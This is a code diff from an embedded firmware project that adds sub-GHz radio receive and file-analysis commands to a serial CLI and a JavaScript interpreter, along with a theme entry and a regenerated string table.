+void createSubGhzAdvancedCommands(SimpleCLI* cli) {
+    Command root = cli->addCompositeCmd("subghz_adv");
+
+    Command rx = root.addCommand("rx", subghzAdvRxCallback);
+    rx.addPosArg("frequency", String((uint32_t)(bruceConfigPins.rfFreq * 1000000.0f)).c_str());
+    rx.addPosArg("timeout", "10");
+
+    Command analyze = root.addCommand("analyze_file", subghzAdvAnalyzeFileCallback);
+    analyze.addPosArg("filepath");
+}
diff --git a/src/core/serial_commands/subghz_advanced_commands.h b/src/core/serial_commands/subghz_advanced_commands.h
new file mode 100644
index 000000000..c2c4748f3
--- /dev/null
+++ b/src/core/serial_commands/subghz_advanced_commands.h
@@ -0,0 +1,8 @@
+#ifndef __SUBGHZ_ADV_COMMANDS_H__
+#define __SUBGHZ_ADV_COMMANDS_H__
+
+#include <SimpleCLI.h>
+
+void createSubGhzAdvancedCommands(SimpleCLI* cli);
+
+#endif
diff --git a/src/core/theme.cpp b/src/core/theme.cpp
index 68d6f416c..4abca8d5c 100644
--- a/src/core/theme.cpp
+++ b/src/core/theme.cpp
@@ -45,6 +45,7 @@ bool BruceTheme::openThemeFile(FS *fs, String filepath, bool overwriteConfigSett
         {"ble",         &theme.ble,         theme.paths.ble        },
         {"ethernet",    &theme.ethernet,    theme.paths.ethernet   },
         {"rf",          &theme.rf,          theme.paths.rf         },
+        {"subghz",      &theme.subghz,      theme.paths.subghz     },
         {"rfid",        &theme.rfid,        theme.paths.rfid       },
         {"fm",          &theme.fm,          theme.paths.fm         },
         {"ir",          &theme.ir,          theme.paths.ir         },
diff --git a/src/core/theme.h b/src/core/theme.h
index d05faea77..58f8b5b21 100644
--- a/src/core/theme.h
+++ b/src/core/theme.h
@@ -11,6 +11,7 @@ struct themeFiles {
     String ble = "";
     String ethernet = "";
     String rf = "";
+    String subghz = "";
     String rfid = "";
     String fm = "";
     String ir = "";
@@ -37,6 +38,7 @@ struct themeInfo {
     bool ble = false;
     bool ethernet = false;
     bool rf = false;
+    bool subghz = false;
     bool rfid = false;
     bool fm = false;
     bool ir = false;
diff --git a/src/modules/bjs_interpreter/mqjs_stdlib.c b/src/modules/bjs_interpreter/mqjs_stdlib.c
index 0754f13a3..c8d49b8d7 100644
--- a/src/modules/bjs_interpreter/mqjs_stdlib.c
+++ b/src/modules/bjs_interpreter/mqjs_stdlib.c
@@ -433,6 +433,14 @@ const JSPropDef js_subghz[] = {
 
 const JSClassDef js_subghz_obj = JS_OBJECT_DEF("SubGHz", js_subghz);
 
+const JSPropDef js_subghz_advanced[] = {
+    JS_CFUNC_DEF("read", 1, native_subghzAdvancedRead),
+    JS_CFUNC_DEF("analyzeFile", 1, native_subghzAdvancedAnalyzeFile),
+    JS_PROP_END,
+};
+
+const JSClassDef js_subghz_advanced_obj = JS_OBJECT_DEF("SubGHzAdvanced", js_subghz_advanced);
+
 const JSPropDef js_serial[] = {
     JS_CFUNC_DEF("print", 1, native_serialPrint),
     JS_CFUNC_DEF("println", 1, native_serialPrintln),
@@ -852,6 +860,7 @@ static const JSPropDef js_global_object[] = {
     JS_PROP_CLASS_DEF("serial", &js_serial_obj),
     JS_PROP_CLASS_DEF("storage", &js_storage_obj),
     JS_PROP_CLASS_DEF("subghz", &js_subghz_obj),
+    JS_PROP_CLASS_DEF("subghzAdvanced", &js_subghz_advanced_obj),
     JS_PROP_CLASS_DEF("wifi", &js_wifi_obj),
     JS_PROP_CLASS_DEF("ble", &js_ble_obj),
     JS_PROP_CLASS_DEF("nrf24", &js_nrf24_obj),
diff --git a/src/modules/bjs_interpreter/mqjs_stdlib.h b/src/modules/bjs_interpreter/mqjs_stdlib.h
index e0703ec34..b794ce584 100644
--- a/src/modules/bjs_interpreter/mqjs_stdlib.h
+++ b/src/modules/bjs_interpreter/mqjs_stdlib.h
@@ -1457,188 +1457,197 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (5 << (JS_MTAG_BITS + 3)), /* "txEnd" (offset=1424) */
   0x6e457874,
   0x00000064,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "wifi" (offset=1427) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "subghzAdvanced" (offset=1427) */
+  0x67627573,
+  0x64417a68,
+  0x636e6176,
+  0x00006465,
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "analyzeFile" (offset=1432) */
+  0x6c616e61,
+  0x46657a79,
+  0x00656c69,
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "wifi" (offset=1436) */
   0x69666977,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (9 << (JS_MTAG_BITS + 3)), /* "connected" (offset=1430) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (9 << (JS_MTAG_BITS + 3)), /* "connected" (offset=1439) */
   0x6e6e6f63,
   0x65746365,
   0x00000064,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "connectDialog" (offset=1434) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "connectDialog" (offset=1443) */
   0x6e6e6f63,
   0x44746365,
   0x6f6c6169,
   0x00000067,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "connect" (offset=1439) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "connect" (offset=1448) */
   0x6e6e6f63,
   0x00746365,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "disconnect" (offset=1442) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "disconnect" (offset=1451) */
   0x63736964,
   0x656e6e6f,
   0x00007463,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (9 << (JS_MTAG_BITS + 3)), /* "httpFetch" (offset=1446) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (9 << (JS_MTAG_BITS + 3)), /* "httpFetch" (offset=1455) */
   0x70747468,
   0x63746546,
   0x00000068,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "getMACAddress" (offset=1450) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "getMACAddress" (offset=1459) */
   0x4d746567,
   0x64414341,
   0x73657264,
   0x00000073,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "getIPAddress" (offset=1455) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "getIPAddress" (offset=1464) */
   0x49746567,
   0x64644150,
   0x73736572,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "ble" (offset=1460) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "ble" (offset=1469) */
   0x00656c62,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (9 << (JS_MTAG_BITS + 3)), /* "advertise" (offset=1462) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (9 << (JS_MTAG_BITS + 3)), /* "advertise" (offset=1471) */
   0x65766461,
   0x73697472,
   0x00000065,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "stopAdvertise" (offset=1466) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "stopAdvertise" (offset=1475) */
   0x706f7473,
   0x65766441,
   0x73697472,
   0x00000065,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (5 << (JS_MTAG_BITS + 3)), /* "nrf24" (offset=1471) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (5 << (JS_MTAG_BITS + 3)), /* "nrf24" (offset=1480) */
   0x3266726e,
   0x00000034,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "send" (offset=1474) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "send" (offset=1483) */
   0x646e6573,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "receive" (offset=1477) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "receive" (offset=1486) */
   0x65636572,
   0x00657669,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "setChannel" (offset=1480) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "setChannel" (offset=1489) */
   0x43746573,
   0x6e6e6168,
   0x00006c65,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "isConnected" (offset=1484) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "isConnected" (offset=1493) */
   0x6f437369,
   0x63656e6e,
   0x00646574,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "led" (offset=1488) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "led" (offset=1497) */
   0x0064656c,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "setColor" (offset=1490) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "setColor" (offset=1499) */
   0x43746573,
   0x726f6c6f,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "off" (offset=1494) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "off" (offset=1503) */
   0x0066666f,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "menu" (offset=1496) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "menu" (offset=1505) */
   0x756e656d,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "show" (offset=1499) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "show" (offset=1508) */
   0x776f6873,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "showMainBorder" (offset=1502) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "showMainBorder" (offset=1511) */
   0x776f6873,
   0x6e69614d,
   0x64726f42,
   0x00007265,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (23 << (JS_MTAG_BITS + 3)), /* "showMainBorderWithTitle" (offset=1507) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (23 << (JS_MTAG_BITS + 3)), /* "showMainBorderWithTitle" (offset=1516) */
   0x776f6873,
   0x6e69614d,
   0x64726f42,
   0x69577265,
   0x69546874,
   0x00656c74,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "printTitle" (offset=1514) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "printTitle" (offset=1523) */
   0x6e697270,
   0x74695474,
   0x0000656c,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "printSubtitle" (offset=1518) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "printSubtitle" (offset=1527) */
   0x6e697270,
   0x62755374,
   0x6c746974,
   0x00000065,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "displayMessage" (offset=1523) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "displayMessage" (offset=1532) */
   0x70736964,
   0x4d79616c,
   0x61737365,
   0x00006567,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "TimersState" (offset=1528) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "TimersState" (offset=1537) */
   0x656d6954,
   0x74537372,
   0x00657461,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (6 << (JS_MTAG_BITS + 3)), /* "Sprite" (offset=1532) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (6 << (JS_MTAG_BITS + 3)), /* "Sprite" (offset=1541) */
   0x69727053,
   0x00006574,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "pushSprite" (offset=1535) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "pushSprite" (offset=1544) */
   0x68737570,
   0x69727053,
   0x00006574,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "deleteSprite" (offset=1539) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "deleteSprite" (offset=1548) */
   0x656c6564,
   0x70536574,
   0x65746972,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "TextViewer" (offset=1544) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "TextViewer" (offset=1553) */
   0x74786554,
   0x77656956,
   0x00007265,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "draw" (offset=1548) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "draw" (offset=1557) */
   0x77617264,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "scrollUp" (offset=1551) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "scrollUp" (offset=1560) */
   0x6f726373,
   0x70556c6c,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "scrollDown" (offset=1555) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (10 << (JS_MTAG_BITS + 3)), /* "scrollDown" (offset=1564) */
   0x6f726373,
   0x6f446c6c,
   0x00006e77,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "scrollToLine" (offset=1559) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "scrollToLine" (offset=1568) */
   0x6f726373,
   0x6f546c6c,
   0x656e694c,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "getLine" (offset=1564) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "getLine" (offset=1573) */
   0x4c746567,
   0x00656e69,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "getMaxLines" (offset=1567) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (11 << (JS_MTAG_BITS + 3)), /* "getMaxLines" (offset=1576) */
   0x4d746567,
   0x694c7861,
   0x0073656e,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "getVisibleText" (offset=1571) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (14 << (JS_MTAG_BITS + 3)), /* "getVisibleText" (offset=1580) */
   0x56746567,
   0x62697369,
   0x6554656c,
   0x00007478,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "setText" (offset=1576) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (7 << (JS_MTAG_BITS + 3)), /* "setText" (offset=1585) */
   0x54746573,
   0x00747865,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (5 << (JS_MTAG_BITS + 3)), /* "close" (offset=1579) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (5 << (JS_MTAG_BITS + 3)), /* "close" (offset=1588) */
   0x736f6c63,
   0x00000065,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "Gif" (offset=1582) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (3 << (JS_MTAG_BITS + 3)), /* "Gif" (offset=1591) */
   0x00666947,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "gifPlayFrame" (offset=1584) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (12 << (JS_MTAG_BITS + 3)), /* "gifPlayFrame" (offset=1593) */
   0x50666967,
   0x4679616c,
   0x656d6172,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "gifDimensions" (offset=1589) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (13 << (JS_MTAG_BITS + 3)), /* "gifDimensions" (offset=1598) */
   0x44666967,
   0x6e656d69,
   0x6e6f6973,
   0x00000073,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "gifReset" (offset=1594) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "gifReset" (offset=1603) */
   0x52666967,
   0x74657365,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "gifClose" (offset=1598) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (8 << (JS_MTAG_BITS + 3)), /* "gifClose" (offset=1607) */
   0x43666967,
   0x65736f6c,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (6 << (JS_MTAG_BITS + 3)), /* "Buffer" (offset=1602) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (6 << (JS_MTAG_BITS + 3)), /* "Buffer" (offset=1611) */
   0x66667542,
   0x00007265,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "from" (offset=1605) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (4 << (JS_MTAG_BITS + 3)), /* "from" (offset=1614) */
   0x6d6f7266,
   0x00000000,
-  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (20 << (JS_MTAG_BITS + 3)), /* "__internal_functions" (offset=1608) */
+  (JS_MTAG_STRING << 1) | (1 << JS_MTAG_BITS) | (1 << (JS_MTAG_BITS + 1)) | (0 << (JS_MTAG_BITS + 2)) | (20 << (JS_MTAG_BITS + 3)), /* "__internal_functions" (offset=1617) */
   0x6e695f5f,
   0x6e726574,
   0x665f6c61,
@@ -1646,8 +1655,8 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   0x736e6f69,
   0x00000000,
 
